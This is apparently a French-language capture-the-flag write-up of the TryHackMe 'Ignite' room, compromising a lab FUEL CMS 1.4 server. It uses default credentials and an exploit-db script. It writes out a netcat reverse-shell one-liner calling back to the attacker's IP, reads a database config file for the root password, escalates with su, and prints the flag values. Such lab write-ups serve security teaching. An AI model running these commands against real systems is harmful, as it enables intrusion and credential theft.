A new start-up has a few issues with their web server.
https://tryhackme.com/room/ignite
Reconnaissance
root@ip-10-10-102-133:~# nmap -sC -sV 10.10.163.53
Starting Nmap 7.60 ( https://nmap.org ) at 2022-12-19 01:31 GMT
Nmap scan report for ip-10-10-163-53.eu-west-1.compute.internal (10.10.163.53)
Host is up (0.00086s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
MAC Address: 02:FC:79:78:C5:B5 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.34 seconds
Un seul port est ouvert: le port 80.
Le CMS FUEL version 1.4 est utilisé.
Le fichier robots.txt nous indique la présence d’un répertoire /fuel.
ll s’agit de la page de login du CMS.
Pour ce CMS et cette version, nous trouvons la CVE-2018-16763 sur exploit-db.
Par ailleurs, nous testons les identifiants par défaut sur la page de login (admin/admin).
Nous sommes connectés.
Nous allons pouvoir uploader un fichier dans les assets. Les uploads sont sauvegardés dans docs, images ou pdf.
On trouvera des reverse shell sur pentestmonkey.
Sinon, on utilise searchsploit.
On crée un fichier cmd.sh.
Sur exploit-db, nous avons un code python. Nous allons l’utiliser. Une fois lancé, une commande est demandée.
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.102.133 4444 >/tmp/f
Puis nous lançons notre reverse shell et nous allons chercher nos flags.
root@ip-10-10-102-133:~# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.163.53.
Connection from 10.10.163.53:60882.
/bin/sh: 0: can't access tty; job control turned off
$ cd /home
$ ls
www-data
$ cd www-data
$ ls
flag.txt
$ cat flag.txt
6470e394cbf6dab6a91682cc8585059b
Stabilisons notre shell. www-data n’est pas dans le fichier sudoers.
Par contre, la base de données n’est pas sécurisée…
$ python -c 'import pty; pty.spawn("/bin/bash")'
$ cat /var/www/html/fuel/application/config/database.php
cat /var/www/html/fuel/application/config/database.php
[...]
$db['default'] = array(
'dsn' => '',
'hostname' => 'localhost',
'username' => 'root',
'password' => 'mememe',
'database' => 'fuel_schema',
Nous avons le mot de passe pour nous connecter en root et pouvons récupérer le flag root.
www-data@ubuntu:/var/www/html$ su - root
su - root
Password: mememe
root@ubuntu:~# whoami
root
root@ubuntu:~# cd /root
cd /root
root@ubuntu:~# ls
ls
root.txt
root@ubuntu:~# cat root.txt
cat root.txt
b9bbcb33e11b80be759c4e844862482d